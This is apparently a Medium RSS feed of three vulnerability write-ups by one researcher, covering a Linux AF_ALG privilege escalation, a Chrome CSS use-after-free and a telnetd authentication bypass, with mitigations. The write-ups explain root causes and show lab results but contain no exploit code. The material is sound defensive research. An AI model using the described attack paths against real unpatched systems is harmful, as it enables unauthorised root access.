<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vedic_error on Medium]]></title>
        <description><![CDATA[Stories by Vedic_error on Medium]]></description>
        <link>https://medium.com/@shikharsinha34920?source=rss-5b9d789bb4e5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*qq10xaZMgaYpoBfAgtmBng.png</url>
            <title>Stories by Vedic_error on Medium</title>
            <link>https://medium.com/@shikharsinha34920?source=rss-5b9d789bb4e5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 00:26:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shikharsinha34920/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Copy-Fail: Anatomy of a Memory Corruption Vulnerability]]></title>
            <link>https://medium.com/@shikharsinha34920/copy-fail-anatomy-of-a-memory-corruption-vulnerability-621a6a43141b?source=rss-5b9d789bb4e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/621a6a43141b</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Vedic_error]]></dc:creator>
            <pubDate>Wed, 20 May 2026 18:10:18 GMT</pubDate>
            <atom:updated>2026-05-20T18:10:18.030Z</atom:updated>
            <content:encoded><![CDATA[<p>Author: Shikhar Kant Sinha<br>Research Area: Linux Internals | Privilege Escalation | IoT Security</p><p>⚠️[CVE-2026–31431]⚠️</p><p><em>All testing described below was performed in a fully isolated lab environment for educational and defensive research purposes only. No payloads, exploit code, or reproduction steps are shared.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_EByZb6jzL4l97drjdnZmA.png" /></figure><p>While Copy-Fail gained public attention only recently, the vulnerable code path has existed across multiple major Linux kernel versions since 2017. To understand the root cause of the vulnerability, we first need to examine the Linux kernel crypto subsystem and the AF_ALG interface used by `algif_aead` and `algif_read`. The flaw ultimately allowed controlled page cache corruption leading to local privilege escalation.</p><h3><strong>INDEX</strong></h3><ol><li>What is the Linux Crypto Subsystem?</li><li>Understanding AF_ALG</li><li>Where Did the Trust Boundary Break?</li><li>Root Cause Analysis</li><li>Proof of Concept</li><li>Patch &amp; Mitigation</li><li>Final Thoughts</li></ol><h3>Linux Crypto Subsystem</h3><p>What is the Linux Crypto Subsystem?</p><p>The Linux Crypto Subsystem is a part of the Linux kernel responsible for handling cryptographic operations such as encryption, decryption, hashing, and authentication.</p><p>In simple terms, it acts like a built-in security engine for Linux.</p><p>Instead of every application implementing encryption on its own, Linux provides a centralized subsystem that applications can interact with securely and efficiently.</p><p>For example:</p><p>- When a VPN encrypts your internet traffic<br>- When SSH secures a remote connection<br>- When disk encryption protects files<br>- When applications verify passwords or hashes</p><p>all of these can rely on the Linux Crypto Subsystem underneath.</p><p>Think of it like this:</p><p>Imagine a large apartment building.</p><p>Instead of every resident hiring their own security guard, the building has one centralized security office handling all security-related work.</p><p>Applications are like residents, while the Linux Crypto Subsystem is the central security office.</p><p>Applications simply send requests:<br>“Encrypt this”<br>“Hash this”<br>“Verify this signature”</p><p>and the subsystem performs the operation safely inside the kernel.</p><p>This becomes important for Copy-Fail because the vulnerability exists inside one of the interfaces used to communicate with this subsystem — the AF_ALG interface.</p><h3>Understanding AF_ALG Interface</h3><p>AF_ALG is a special Linux kernel interface that allows user applications to directly communicate with the Linux Crypto Subsystem.</p><p>The name itself stands for:<br>- AF → Address Family<br>- ALG → Algorithm</p><p>In simple words, AF_ALG acts like a bridge between normal applications and the kernel’s cryptographic engine.</p><p>Instead of applications implementing encryption themselves, they can simply ask the kernel to do it.</p><p>Think of it like ordering food from a restaurant.</p><p>You do not enter the kitchen and cook yourself.</p><p>Instead:<br>- You place an order<br>- The kitchen prepares it<br>- The result is returned to you</p><p>Here:<br>- The application is the customer<br>- AF_ALG is the waiter<br>- The Linux Crypto Subsystem is the kitchen</p><p>The application sends requests such as:<br>- “Encrypt this data”<br>- “Hash this file”<br>- “Decrypt this packet”</p><p>and AF_ALG passes those requests safely to the kernel crypto subsystem.</p><p>A simplified flow looks like this:</p><blockquote>Application <br>↓ <br>AF_ALG Interface <br>↓ <br>Linux Crypto Subsystem <br>↓ <br>Encrypted / Processed Output</blockquote><p>This design is useful because:<br>- applications do not need to implement complex cryptography themselves<br>- operations become faster<br>- security handling remains centralized inside the kernel</p><p>However, Copy-Fail exists because trust inside this communication path breaks under specific conditions, allowing user-controlled data to interact with kernel memory in an unsafe way.</p><h3>Where Did the Trust Boundary Break?</h3><p>To understand the vulnerability, we first need to understand what a “trust boundary” means.</p><p>A trust boundary is simply a point where one component starts trusting data coming from another component.</p><p>In the case of Copy-Fail:</p><p>- User applications provide data<br>- AF_ALG passes that data into the kernel crypto subsystem<br>- The kernel assumes certain parts of that data are valid and safe</p><p>That assumption is where the problem begins.</p><p>Think of it like airport security.</p><p>Normally:<br>- passengers hand over luggage<br>- security checks it carefully<br>- dangerous items are blocked</p><p>But imagine if security suddenly stopped checking one specific type of bag and directly allowed it into a restricted area.</p><p>That is essentially what happened here.</p><p>Certain user-controlled data passed through AF_ALG and eventually reached sensitive kernel operations without proper validation under specific conditions.</p><p>The kernel trusted that:<br>- memory boundaries were correct<br>- data lengths were safe<br>- buffers were handled properly</p><p>However, those assumptions could be manipulated by an attacker.</p><p>As a result:<br>- controlled memory corruption became possible<br>- page cache entries could be modified<br>- privilege escalation paths opened up</p><p>In simple terms:</p><p>The kernel trusted user-controlled operations more than it should have.</p><p>And once that trust boundary failed, attackers could influence sensitive kernel memory behavior from an unprivileged user context.</p><h3>Root Cause Analysis</h3><p>The root cause of Copy-Fail lies in how the Linux kernel handled certain memory operations inside the AF_ALG crypto interface.</p><p>Under normal conditions, the kernel is supposed to carefully validate:<br>- how much data is being copied<br>- where the data is being copied<br>- whether memory boundaries are safe</p><p>However, in this vulnerable code path, those checks could be bypassed or handled incorrectly under specific conditions.</p><p>As a result, user-controlled operations could influence sensitive kernel memory behavior.</p><p>Think of it like pouring water into a bottle.</p><p>Normally:<br>- the bottle has a fixed capacity<br>- the system should stop pouring once the bottle is full</p><p>But due to improper validation, the kernel continued processing user-controlled data without enforcing proper memory safety guarantees.</p><p>This eventually made it possible to:<br>- corrupt page cache data<br>- manipulate sensitive memory structures<br>- modify privileged file-backed data<br>- achieve local privilege escalation</p><p>One of the major problems here was misplaced trust.</p><p>The kernel assumed:<br>- internal states were valid<br>- copied data remained within expected limits<br>- memory operations stayed safe</p><p>Attackers could intentionally manipulate those assumptions.</p><p>In simple terms:</p><p>The vulnerability was not caused by cryptography itself.</p><p>The real issue was unsafe handling of memory and data flow inside the communication layer connecting user applications to the kernel crypto subsystem.<br>At a high level, the vulnerability allowed controlled corruption of page cache data associated with privileged file-backed resources.</p><h3>Proof of Concept</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N7koW3RRTtBNMxHC_lIO1Q.png" /><figcaption>Figure 1 — Vulnerable kernel version and unprivileged user context.</figcaption></figure><p>The vulnerability was reproduced on a vulnerable Kali Linux kernel running as an unprivileged local user.</p><p>The following screenshot shows the testing environment and the initial user context before exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*_lK-h7YSXiO2dnG676Dwig.png" /><figcaption>Figure 2 — Triggering the Copy-Fail proof-of-concept against the vulnerable AF_ALG code path. During exploitation, the page cache associated with `/etc/passwd` was modified, allowing manipulation of the UID field for the current user.</figcaption></figure><p>The public proof-of-concept was executed to trigger the vulnerable AF_ALG code path. During exploitation, the page cache associated with `/etc/passwd` was modified, allowing the UID field of the current user to be manipulated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m2enHE4QgWLlSs7Yh71WKg.png" /><figcaption><em>Figure 3 — Successful privilege escalation resulting in UID 0 access.</em></figcaption></figure><p>After successful exploitation, the process obtained root privileges while maintaining the original user context group mappings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*Do95L5CMyRlVIRa-y18zMw.png" /><figcaption>Figure 4 — Modified passwd entry showing UID corruption.</figcaption></figure><p>Verification of “<em>/etc/passwd”</em> confirms that the UID field associated with the user account was modified to “<em>0000”</em>, effectively granting root-level privileges.</p><h3>Patch &amp; Mitigation</h3><p>The vulnerability has been fixed upstream in newer Linux kernel releases. Users and administrators are strongly encouraged to update to patched kernel versions as soon as possible.</p><h4>Recommended Mitigations:-</h4><ul><li>Update the Linux kernel to a patched version provided by your distribution vendor.<br>- Reboot the system after applying kernel updates to ensure the patched kernel is loaded.<br>- Monitor security advisories released by your Linux distribution.<br>- Restrict local shell access for untrusted users wherever possible.<br>- Disable unnecessary services or applications exposing AF_ALG functionality.<br>- Use kernel hardening and monitoring solutions to detect abnormal privilege escalation attempts.<br>- Regularly audit privileged files such as `/etc/passwd` for unexpected modifications.</li></ul><h4>Alternative Temporary Mitigations:-</h4><p>In environments where immediate patching is not possible, the following temporary measures may help reduce exploitation risk:</p><p>- Limit access to untrusted local users and shared multi-user environments.<br>- Restrict container or sandbox environments from accessing sensitive kernel interfaces.<br>- Apply strict AppArmor or SELinux policies to reduce exposure.<br>- Monitor for suspicious access patterns involving AF_ALG sockets.<br>- Use endpoint monitoring tools to detect unexpected UID changes or privilege escalation behavior.<br>- Minimize the availability of local compilation and exploit development tooling on production systems.</p><p>It is important to note that these are only temporary risk-reduction measures and should not be considered permanent fixes. Updating to a patched kernel remains the only reliable solution.</p><h3>Final Thoughts</h3><p>Copy-Fail is a strong reminder that even mature and widely trusted components of the Linux kernel can contain vulnerabilities that remain unnoticed for years.</p><p>Although the bug existed silently since 2017, its impact demonstrates how small mistakes in memory handling and trust assumptions inside kernel code can eventually lead to full privilege escalation.</p><p>One of the most interesting aspects of this vulnerability is that the issue was not caused by broken cryptography itself, but by unsafe handling of data around the cryptographic interface.</p><p>The vulnerability also highlights an important security lesson:</p><ul><li>Trust boundaries inside the kernel are just as important as user-facing security controls.</li></ul><p>Even a small validation failure in a low-level subsystem can become a powerful attack vector when combined with controlled memory operations.</p><p>For defenders, Copy-Fail reinforces the importance of:<br>- timely kernel patching<br>- system hardening<br>- monitoring privilege escalation activity<br>- restricting unnecessary local access</p><p>For researchers, it serves as another example of why studying internal kernel subsystems and memory handling paths remains extremely valuable.</p><p>As Linux continues powering servers, cloud infrastructure, containers, and embedded systems worldwide, vulnerabilities like Copy-Fail remind us that low-level security research still plays a critical role in protecting modern systems.</p><h3>About the Author:</h3><p>I’m an aspiring penetration tester and cybersecurity researcher with a background in IoT and software development. I enjoy exploring systems from the inside out — understanding how they behave under real-world conditions and identifying where assumptions break.</p><p>Most of my learning comes from hands-on practice through platforms like TryHackMe and VulnHub, along with experimentation in my own isolated home lab. Rather than simply reproducing commands, I focus on understanding why vulnerabilities exist, how components interact internally, and how exploitation paths develop.</p><p>Areas of interest:<br>- Linux internals<br>- Privilege escalation<br>- IoT security<br>- Threat research<br>- Red team methodologies</p><p>I regularly document my findings and research to improve both my own understanding and the learning experience for others in the security community.</p><p>I’m currently open to opportunities in cybersecurity, penetration testing, vulnerability research, and security engineering.</p><p>If you found this writeup useful, feel free to connect or reach out through LinkedIn and browse through other medium articles.</p><p>linkedin :-<a href="https://www.linkedin.com/in/shikhar-kant-sinha/"> https://www.linkedin.com/in/shikhar-kant-sinha</a><br>Portfolio :- <a href="https://port-cv.netlify.app/">https://port-cv.netlify.app/</a><br>medium :- <a href="https://medium.com/@shikharsinha34920">https://medium.com/@shikharsinha34920</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=621a6a43141b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding CVE-2026–2441: How a CSS Bug Crashed Chrome]]></title>
            <link>https://medium.com/@shikharsinha34920/understanding-cve-2026-2441-how-a-css-bug-crashed-chrome-18421eff703e?source=rss-5b9d789bb4e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/18421eff703e</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[root-cause-analysis]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vedic_error]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 17:28:14 GMT</pubDate>
            <atom:updated>2026-02-20T17:28:14.151Z</atom:updated>
            <content:encoded><![CDATA[<h4>⚠️[CVE-2026–2441]⚠️</h4><h4>All testing described below was performed in a fully isolated lab environment for educational and defensive research purposes only. No payloads, exploit code, or reproduction steps are shared.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GbLEdnZTFH6Fv_gIWClThw.png" /></figure><h3>INDEX:</h3><ol><li>Introduction</li><li>Root Cause Analysis</li><li>Proof Of Concept</li><li>Mitigation</li><li>About</li></ol><h3>Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bjgA3FOv64VekYVGI8GHDA.png" /></figure><p>While reviewing recent CVE entries on the National Vulnerability Database (NVD), I came across a high-severity zero-day vulnerability affecting Google Chrome which was reported on 17th-feb-2026. The issue, tracked as <strong>CVE-2026–2441</strong>, was reported as allowing remote code execution within Chrome’s renderer process. More precisely, it enabled arbitrary code execution inside the browser’s sandboxed environment — meaning a malicious web page could potentially compromise the renderer process without immediately escaping to the underlying operating system.</p><h3>Root Cause Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RK7yoIK3afmtnEo4IyZ0LQ.png" /></figure><p>To understand what went wrong, we first need to understand what Chrome was doing internally.</p><p>When Chrome processes advanced CSS rules like @font-feature-values, it stores them in a special internal data structure called a <strong>HashMap</strong>. You can think of a HashMap like a labeled storage box system — each label (key) is connected to some stored information (value).</p><p>Now imagine this situation:</p><p>You are flipping through a notebook that lists all items stored in your warehouse. While you are reading the list, someone suddenly reorganizes the entire warehouse — throwing away the old shelves and replacing them with new ones. But you are still holding a map that points to the old shelves that no longer exist.</p><p>When you try to look at the next item using that outdated map, you are pointing to empty space.</p><p>That’s essentially what happened in CVE-2026–2441.</p><h4>What Chrome Did Internally?</h4><ol><li>Chrome started <strong>iterating (looping)</strong> through CSS entries stored in a HashMap.</li><li>While it was still in the middle of that loop, the map was modified.</li><li>Modifying the map caused it to reorganize itself internally (a process called <em>rehashing</em>).</li><li>During this reorganization, the old internal storage was freed from memory.</li><li>However, the iterator was still pointing to that old, now-freed memory.</li></ol><p>When Chrome tried to continue reading from that invalid memory location, it triggered a <strong>Use-After-Free (UAF)</strong> — meaning it tried to use memory that had already been released.</p><p>That invalid memory access caused the renderer process to crash.</p><h4>Why This Has Such Bad Impact?</h4><p>Accessing freed memory is risky because:</p><ul><li>The memory might now contain unrelated data.</li><li>It could contain attacker-controlled data.</li><li>It may lead to unpredictable behavior.</li><li>In advanced cases, it can lead to code execution.</li></ul><p>In this specific case, the issue was caused by the iterator holding a raw pointer to internal storage that became invalid after the HashMap changed.</p><p>The fix was simple but important: instead of holding a raw reference to the live storage, Chrome was updated to create a safe copy during iteration, preventing access to freed memory.</p><h3>Proof Of Concept</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5QeGvW4b0P30a3wV1wLaXQ.png" /></figure><p>To better understand how CVE-2026–2441 behaves in practice, I tested a publicly available proof-of-concept (PoC) in a controlled lab environment.</p><blockquote><em>⚠️ Important: This test was performed in an isolated environment using a separate Chrome profile. It was not run in a daily-use browser session.</em></blockquote><h4>Test Environment</h4><ul><li><strong>Browser Version:</strong> Google Chrome 143.0.7499.40</li><li><strong>Vulnerable Range:</strong> Versions prior to 145.0.7632.75</li><li><strong>Operating System:</strong> Linux (isolated test setup)</li><li><strong>Execution Mode:</strong> Single-process mode for clearer crash visibility</li></ul><p>To ensure no personal data was affected, Chrome was launched with a temporary user profile:</p><pre>google-chrome \<br>  --user-data-dir=/tmp/chrome-test \<br>  --single-process \<br>  --disable-gpu \<br>  poc.html</pre><h4>What the PoC Does</h4><p>The PoC creates a special CSS rule using @font-feature-values, then:</p><ol><li>Obtains an iterator over the internal CSS map.</li><li>Modifies the map while iterating over it.</li><li>Forces the internal data structure to reorganize itself.</li><li>Continues using the old iterator.</li></ol><p>Because of the bug, Chrome still tries to access memory that has already been freed.</p><h4>Observed Behavior</h4><p>When the PoC was loaded in the vulnerable Chrome version:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gLwBCm6YCCsteZWSkP_XiA.png" /><figcaption>Google-chrome tab crashed.</figcaption></figure><ul><li>The browser tab displayed <strong>“Aw, Snap!”</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tw-1ONuQCwF8I36K141QQg.png" /><figcaption>Segmentation fault this confirms the version is indeed vulnerable to CVE-2026–2441</figcaption></figure><ul><li>In single-process mode, Chrome terminated with a <strong>segmentation fault</strong></li><li>The crash confirmed that a memory safety violation occurred inside the renderer process</li></ul><p>This behavior demonstrates that the use-after-free condition is reachable and can reliably crash the renderer process.</p><h4>What This PoC Does NOT Do</h4><p>It is important to clarify:</p><ul><li>The PoC does <strong>not</strong> escape the Chrome sandbox.</li><li>It does <strong>not</strong> provide a working remote shell.</li><li>It does <strong>not</strong> automatically compromise the operating system.</li></ul><p>It simply demonstrates that the memory corruption bug exists and can be triggered.</p><h3>Mitigation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fcgBLaxo6l_YvsVpdecS0w.png" /><figcaption>Patch is available</figcaption></figure><p>The good news is that vulnerabilities like CVE-2026–2441 are usually patched quickly once discovered. In this case, Google released a fix in Chrome version <strong>145.0.7632.75 and later</strong>.</p><p>If you are a regular user, protecting yourself is actually very simple.</p><h4>Keep Your Browser Updated</h4><p>The most important step is to <strong>always keep Chrome updated</strong>.</p><p>Modern browsers update automatically in the background, but it’s still a good idea to manually check:</p><ul><li>Open Chrome</li><li>Go to <strong>Settings → About Chrome</strong></li><li>Ensure you are running the latest version</li></ul><p>Most real-world browser attacks succeed because users delay updates.</p><h4>Avoid Disabling Browser Security Features</h4><p>Some advanced users disable sandboxing or security flags for testing or performance reasons. Avoid doing this in your daily browser.</p><p>Chrome’s sandbox exists specifically to contain bugs like this one.</p><h4>Be Cautious with Unknown Links</h4><p>Although this vulnerability could be triggered by visiting a malicious page, most attacks still require user interaction. Avoid clicking unknown links, especially from untrusted sources.</p><p>That simple habit reduces exposure to many browser-based threats.</p><h4>Use Separate Browsers for Testing</h4><p>If you are a developer or security enthusiast testing proof-of-concepts:</p><ul><li>Use a separate browser profile</li><li>Use a virtual machine</li><li>Never test on your daily browsing environment</li></ul><p>Separation reduces risk.</p><h4>Final Thoughts on Mitigation</h4><p>Memory safety vulnerabilities sound scary — and technically, they are serious. But for everyday users, the solution is straightforward:</p><blockquote><em>Keep your browser updated.</em></blockquote><p>Modern browsers are designed with multiple layers of protection. Even when a vulnerability exists, sandboxing and process isolation help reduce the impact.</p><p>Staying updated is the simplest and most effective defense.</p><h3>ABOUT</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WGbLWwBKWNiraexVAZXzg.png" /></figure><p>I’m an aspiring penetration tester and cybersecurity researcher with a background in IoT and software development. I enjoy exploring systems from the inside out — understanding how they behave under real-world conditions and identifying where assumptions break.</p><p>Most of my learning comes from hands-on practice through platforms like VulnHub and TryHackMe and PortSwigger, along with experiments in my own isolated home lab. Rather than copying commands, I focus on understanding <em>why</em> an issue exists and how different components interact, which is why I document my findings to help others improve their testing methodology.</p><p>I also enjoy building small utilities and automation tools to streamline reconnaissance and enumeration. One such project is <strong>VedicRecon</strong>, a Python-based recon tool that I use regularly during labs and practical testing to keep enumeration structured and repeatable.</p><p>If you’d like to follow my learning journey or explore my work, you can find my tools and write-ups below:</p><ul><li><strong>VedicRecon (GitHub):</strong> <a href="https://github.com/Shikhar0708/VedicRecon">https://github.com/Shikhar0708/VedicRecon</a></li><li><strong>Security Write-ups &amp; Walkthroughs (Medium):</strong> <a href="https://medium.com/@shikharsinha34920">https://medium.com/@shikharsinha34920</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18421eff703e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Telnetd- The Ghost Of Past Still Haunts]]></title>
            <link>https://medium.com/@shikharsinha34920/telnetd-the-ghost-of-past-still-haunts-cb5cec617bb8?source=rss-5b9d789bb4e5------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb5cec617bb8</guid>
            <category><![CDATA[research]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Vedic_error]]></dc:creator>
            <pubDate>Sat, 31 Jan 2026 13:11:01 GMT</pubDate>
            <atom:updated>2026-01-31T13:26:49.804Z</atom:updated>
            <content:encoded><![CDATA[<h4>⚠️[CVE-2026–24061]⚠️</h4><blockquote>All testing described below was performed in a fully isolated lab environment for educational and defensive research purposes only. No payloads, exploit code, or reproduction steps are shared.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2nNBQisYjd8d2u6l1m6PHw.png" /></figure><p>Hey folks! I hope you’re doing well.<br>I recently came across a newly disclosed vulnerability, and it’s a serious one. The issue is currently marked as <strong>High Priority by Ubuntu Security</strong> and carries a <strong>CVSS v3 score of 9.8 (Critical)</strong>.</p><p>I like to call this vulnerability a <em>“ghost of the past”</em>, because its root cause appears to trace back to design and commit behavior introduced around 2015.</p><p>What makes this vulnerability particularly severe is that it falls into the <strong>ACE (Arbitrary Code Execution)</strong> class, enabling <strong>remote authentication bypass</strong>, which in certain scenarios can lead to full system compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YRJCA4Y2HYOb2Q1l0-gYlQ.png" /><figcaption>shodan- telnetd</figcaption></figure><p>The potential impact is significant. Some public estimates suggest that up to <strong>800,000 systems</strong> may be affected globally.</p><p>In my independent research using Shodan data, I observed approximately <strong>220,000+ publicly exposed systems</strong> that could potentially fall within the relevant service exposure scope.</p><h3>Versions Affected:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*Lm7SGLJBpGtQ15fai8hjVw.png" /><figcaption>telnet-2.7</figcaption></figure><blockquote>1.9.3(including)–2.7(including)</blockquote><p>As listed on NIST-nvd: <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-24061">https://nvd.nist.gov/vuln/detail/CVE-2026-24061</a></p><p>For controlled lab validation, testing was conducted against <strong>GNU inetutils version 2.7</strong>, which was released on <strong>December 14, 2025</strong>, representing the latest vulnerable release at the time of analysis.</p><h3>Root-cause Analysis:</h3><p>While analyzing this vulnerability, I referred to prior research and technical writeups to better understand why it was assigned such a high severity rating.</p><blockquote>Reference article: <a href="https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/">https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/</a></blockquote><p>At the same time, I wanted to explore the root cause from a technical perspective — specifically why this vulnerability exists and what the real-world impact could be if it remains unpatched.</p><p>Based on this analysis, I identified <strong>three major interrelated issues</strong> that together enable this vulnerability.</p><h4>Telnet.c</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*nkGVGa6_w7yJX8TPpSKHdw.png" /><figcaption>Telnet.c- PATH_LOGIN</figcaption></figure><p>From the image, we can observe that an additional %U token was introduced during later code commits. The PATH_LOGIN macro ultimately resolves to the /usr/bin/login binary, which is used when constructing the login invocation command.</p><p>Although this change may have appeared minor from a functional perspective, it became significant from a security standpoint because it influenced data that later flows into the login_invocation execution sink.</p><h4>Utility.c</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*DB10DG6t0PUedkxiQqB4hQ.png" /><figcaption>Utility.c-New Case was added</figcaption></figure><p>The code snippet demonstrates how the %U token expansion is implemented. Instead of using a trusted internal username source, the program directly reads the USER environment variable using getenv(&quot;USER&quot;).</p><p>If present, the value is duplicated into memory using xstrdup() and passed forward into command construction. If the variable is not present, an empty string is substituted.</p><p>The security issue here is that environment variables can be influenced by session-level or attacker-controlled input in network-exposed services. This creates a trust boundary violation, allowing untrusted data to propagate into the login invocation execution path.</p><p>In simple terms, this code blindly trusts the USER environment variable and injects it directly into the login command construction pipeline.</p><h4>Pty.c</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*7A65d8SUw-cPHU2BDmfSLg.png" /><figcaption>Pty.c-final sink state</figcaption></figure><p>The snippet above represents the final execution stage of the login invocation pipeline.</p><p>The expand_line() function processes the login invocation template and expands tokens such as %U, producing the final command string.</p><p>The resulting string is then parsed into argument vectors using argcv_get(), preparing it for execution.</p><p>Finally, execv() is called to execute the login binary using the constructed arguments.</p><p>Because this execution occurs in a privileged service context, any untrusted data that reaches this stage can directly influence privileged command execution.</p><p>At this point, the vulnerability transitions from input handling weakness to privileged execution risk.</p><pre>cmd = expand_line(login_invocation)<br>→ build final login command string<br><br>argcv_get(...)<br>→ convert string → argv array<br><br>execv(argv[0], argv)<br>→ execute login binary</pre><p>Conceptually this is what this block does.</p><pre>[ Network Client ]<br>        │<br>        ▼<br>[ Environment Context (USER) ]<br>        │<br>        ▼<br>[ %U Expansion Logic ]<br>        │<br>        ▼<br>[ getenv(&quot;USER&quot;) ]<br>        │<br>        ▼<br>[ expand_line() → Command Construction ]<br>        │<br>        ▼<br>[ execv() → Privileged Execution ]<br>        │<br>        ▼<br>[ Root Shell / Privileged Session ]</pre><p>So, this is the high level flowchart which describes different stages of attack.</p><h3>Proof Of Concept:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*4KlIvllhkZ0F1LaddAL3aQ.png" /><figcaption>Python-POC</figcaption></figure><p>Based on my findings, I developed a custom Python validation script and created a controlled Docker lab environment using <strong>GNU inetutils telnetd version 2.7</strong>.</p><p>When I executed the script against the lab instance, it successfully detected the vulnerable behavior, confirming the presence of the issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*oh49fQY8Y0VDg4KsrJD0OA.png" /><figcaption>Final-proof-of-concept</figcaption></figure><p>During controlled lab validation, when crafted test input derived from the root cause analysis was supplied to the service, authentication checks were bypassed, resulting in a root-level session.</p><p>Because the vulnerable telnet service was running in a privileged context inside the Docker lab environment, this demonstrated the potential for full system compromise.</p><p>This directly aligns with the high severity classification and explains why the vulnerability was assigned a <strong>CVSS score of 9.8 (Critical)</strong>.</p><h3>Mitigation:</h3><h3>Disable Telnet Wherever Possible (BEST FIX)</h3><blockquote>The most effective mitigation is to disable Telnet services entirely and migrate to secure alternatives such as SSH. Telnet transmits data in plaintext and is considered deprecated in modern production environments.</blockquote><h3>Restrict Network Exposure</h3><blockquote>If Telnet cannot be immediately removed due to legacy dependencies, access should be restricted using:</blockquote><ul><li>Firewall allowlists</li><li>VPN-only access</li><li>Internal network segmentation</li><li>Zero-trust access controls</li></ul><h3>Sanitize or Strip Environment Variables (If Service Must Stay)</h3><blockquote>Network services should avoid trusting environment-provided values. Where possible, sanitize or explicitly reset environment variables before invoking privileged binaries.</blockquote><h3>Monitor Distro Security Updates</h3><blockquote>Organizations should closely monitor vendor and distribution security advisories, as many Linux distributions may release patched builds before upstream version increments occur.</blockquote><h3>Monitor for Suspicious Telnet Authentication Behavior</h3><blockquote>Security teams should monitor logs for:</blockquote><ul><li>Unexpected successful authentication events</li><li>Abnormal login invocation behavior</li><li>Unusual session spawning patterns</li></ul><h3>Final Take:</h3><p>This vulnerability highlights the need to audit legacy network services that may rely on outdated trust models, especially those interacting with environment variables or system-level authentication mechanisms.</p><h3>About me:</h3><p>I’m an aspiring penetration tester and cybersecurity researcher with a background in IoT and software development. I enjoy exploring systems from the inside out — understanding how they behave under real-world conditions and identifying where assumptions break.</p><p>Most of my learning comes from hands-on practice through platforms like VulnHub and TryHackMe, along with experiments in my own isolated home lab. Rather than copying commands, I focus on understanding <em>why</em> an issue exists and how different components interact, which is why I document my findings to help others improve their testing methodology.</p><p>I also enjoy building small utilities and automation tools to streamline reconnaissance and enumeration. One such project is <strong>VedicRecon</strong>, an Ai-based recon tool that I use regularly during labs and practical testing to keep enumeration structured and repeatable.</p><p>If you’d like to follow my learning journey or explore my work, you can find my tools and write-ups below:</p><ul><li><strong>VedicRecon (GitHub):</strong> <a href="https://github.com/Shikhar0708/VedicRecon">https://github.com/Shikhar0708/VedicRecon</a></li><li><strong>Security Write-ups &amp; Walkthroughs (Medium):</strong> <a href="https://medium.com/@shikharsinha34920">https://medium.com/@shikharsinha34920</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb5cec617bb8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beyond the Noise: Why I Built VedicRecon (and Why Reconnaissance Needs to Change)]]></title>
